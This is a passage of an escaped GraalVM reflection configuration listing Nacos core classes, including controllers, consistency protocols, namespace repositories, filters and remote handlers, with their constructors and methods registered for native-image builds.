\"name\":\"com.alibaba.nacos.core.code.SpringApplicationRunListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.SpringApplication\",\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.code.StandaloneProfileApplicationListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.config.DistroModuleStateBuilder\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.config.RaftModuleStateBuilder\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.context.RequestContext\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.context.remote.HttpRequestContextConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"nacosRequestContextFilter\",\"parameterTypes\":[] }, {\"name\":\"requestContextFilterRegistration\",\"parameterTypes\":[\"com.alibaba.nacos.core.context.remote.HttpRequestContextFilter\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.context.remote.HttpRequestContextConfig$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.context.remote.HttpRequestContextConfig$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.context.remote.HttpRequestContextConfig$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.context.remote.HttpRequestContextFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.TpsControl\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.http.HttpTpsPointRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.http.NacosHttpTpsControlRegistration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"tpsFilter\",\"parameterTypes\":[\"com.alibaba.nacos.core.code.ControllerMethodsCache\"] }, {\"name\":\"tpsFilterRegistration\",\"parameterTypes\":[\"com.alibaba.nacos.core.control.http.NacosHttpTpsFilter\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.http.NacosHttpTpsControlRegistration$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.http.NacosHttpTpsControlRegistration$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.http.NacosHttpTpsControlRegistration$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.http.NacosHttpTpsFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"init\",\"parameterTypes\":[\"jakarta.servlet.FilterConfig\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.control.remote.TpsControlRequestFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.CoreOpsController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.ProtocolManager\",\"com.alibaba.nacos.core.distributed.id.IdGeneratorManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.CoreOpsController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.NacosClusterController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }, {\"name\":\"leave\",\"parameterTypes\":[\"java.util.Collection\",\"java.lang.Boolean\"] }, {\"name\":\"listNodes\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.NacosClusterController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.ServerLoaderController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.ConnectionManager\",\"com.alibaba.nacos.core.cluster.ServerMemberManager\",\"com.alibaba.nacos.core.cluster.remote.ClusterRpcClientProxy\",\"com.alibaba.nacos.core.remote.core.ServerReloaderRequestHandler\",\"com.alibaba.nacos.core.remote.core.ServerLoaderInfoRequestHandler\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.ServerLoaderController$1\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.ServerLoaderController$2\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.ServerLoaderController$ServerLoaderMetrics\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.ServerLoaderController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.v2.CoreOpsV2Controller\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.ProtocolManager\",\"com.alibaba.nacos.core.distributed.id.IdGeneratorManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.v2.CoreOpsV2Controller__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.v2.NacosClusterControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.service.NacosClusterOperationService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.controller.v2.NacosClusterControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.AbstractConsistencyProtocol\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"loadLogProcessor\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"protocolMetaData\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.ConsistencyConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"strongAgreementProtocol\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.ConsistencyConfiguration$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.ConsistencyConfiguration$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.ConsistencyConfiguration$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.ProtocolManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.DistroProtocol\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\",\"com.alibaba.nacos.core.distributed.distro.component.DistroComponentHolder\",\"com.alibaba.nacos.core.distributed.distro.task.DistroTaskEngineHolder\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.component.DistroComponentHolder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.component.DistroDataProcessor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.component.DistroDataStorage\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.component.DistroFailedTaskHandler\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.component.DistroTransportAgent\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.entity.DistroData\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setContent\",\"parameterTypes\":[\"byte[]\"] }, {\"name\":\"setDistroKey\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.distro.entity.DistroKey\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.entity.DistroKey\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setResourceKey\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setResourceType\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.task.DistroTaskEngineHolder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.distro.component.DistroComponentHolder\"] }, {\"name\":\"destroy\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.task.delay.DistroDelayTaskExecuteEngine\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.task.execute.DistroExecuteTaskExecuteEngine\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.id.IdGeneratorManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.raft.JRaftProtocol\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"aGetData\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }, {\"name\":\"addRequestProcessors\",\"parameterTypes\":[\"java.util.Collection\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"execute\",\"parameterTypes\":[\"java.util.Map\"] }, {\"name\":\"getData\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.ReadRequest\"] }, {\"name\":\"init\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.Config\"] }, {\"name\":\"isLeader\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"memberChange\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"write\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }, {\"name\":\"writeAsync\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.entity.WriteRequest\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.raft.RaftConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addMembers\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"getData\",\"parameterTypes\":[] }, {\"name\":\"getMembers\",\"parameterTypes\":[] }, {\"name\":\"getSelfMember\",\"parameterTypes\":[] }, {\"name\":\"getVal\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getValOfDefault\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"removeMembers\",\"parameterTypes\":[\"java.util.Set\"] }, {\"name\":\"setMembers\",\"parameterTypes\":[\"java.lang.String\",\"java.util.Set\"] }, {\"name\":\"setVal\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.model.request.LogUpdateRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.model.request.LookupUpdateRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.model.vo.IdGeneratorVO\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.model.vo.IdGeneratorVO$IdInfo\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.monitor.GrpcServerThreadPoolMonitor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"configureTasks\",\"parameterTypes\":[\"org.springframework.scheduling.config.ScheduledTaskRegistrar\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.injector.AbstractNamespaceDetailInjector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.model.Namespace\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getConfigCount\",\"parameterTypes\":[] }, {\"name\":\"getNamespace\",\"parameterTypes\":[] }, {\"name\":\"getNamespaceDesc\",\"parameterTypes\":[] }, {\"name\":\"getNamespaceShowName\",\"parameterTypes\":[] }, {\"name\":\"getQuota\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.model.TenantInfo\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.model.form.NamespaceForm\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.repository.EmbeddedNamespacePersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.persistence.repository.embedded.operate.DatabaseOperate\"] }, {\"name\":\"findTenantByKp\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findTenantByKp\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"insertTenantInfoAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"long\"] }, {\"name\":\"isExistTable\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"removeTenantInfoAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"tenantInfoCountByTenantId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"updateTenantNameAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.repository.ExternalNamespacePersistServiceImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"findTenantByKp\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"findTenantByKp\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"generateLikeArgument\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"insertTenantInfoAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"long\"] }, {\"name\":\"isExistTable\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"removeTenantInfoAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"tenantInfoCountByTenantId\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"updateTenantNameAtomic\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.repository.NamespacePersistService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.namespace.repository.NamespaceRowMapperInjector\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.CheckConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"checkerFilter\",\"parameterTypes\":[\"com.alibaba.nacos.core.code.ControllerMethodsCache\"] }, {\"name\":\"checkerFilterRegistration\",\"parameterTypes\":[\"com.alibaba.nacos.core.paramcheck.ParamCheckerFilter\"] }, {\"name\":\"setBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.CheckConfiguration$$SpringCGLIB$$0\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"fields\":[{\"name\":\"CGLIB$FACTORY_DATA\"}],\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"CGLIB$SET_STATIC_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }, {\"name\":\"CGLIB$SET_THREAD_CALLBACKS\",\"parameterTypes\":[\"org.springframework.cglib.proxy.Callback[]\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.CheckConfiguration$$SpringCGLIB$$FastClass$$0\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.CheckConfiguration$$SpringCGLIB$$FastClass$$1\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Class\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.ExtractorManager$Extractor\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.ParamCheckerFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.BatchInstanceRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.ConfigBatchListenRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.ConfigRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.InstanceRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.PersistentInstanceRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.ServiceListRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.ServiceQueryRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.paramcheck.impl.SubscribeServiceRequestParamExtractor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.AbstractRequestFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.BaseRpcServer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getServicePort\",\"parameterTypes\":[] }, {\"name\":\"shutdownServer\",\"parameterTypes\":[] }, {\"name\":\"start\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.ClientConnectionEventListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getName\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"setName\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.ClientConnectionEventListenerRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.Connection\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.ConnectionManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.ClientConnectionEventListenerRegistry\"] }, {\"name\":\"start\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.ConnectionMeta\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.HealthCheckRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.RequestFilters\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.RequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }, {\"name\":\"handleRequest\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.RequestHandlerRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.RpcPushService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.core.RpcAckCallbackInitorOrCleaner\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.Connection\"] }, {\"name\":\"clientDisConnected\",\"parameterTypes\":[\"com.alibaba.nacos.core.remote.Connection\"] 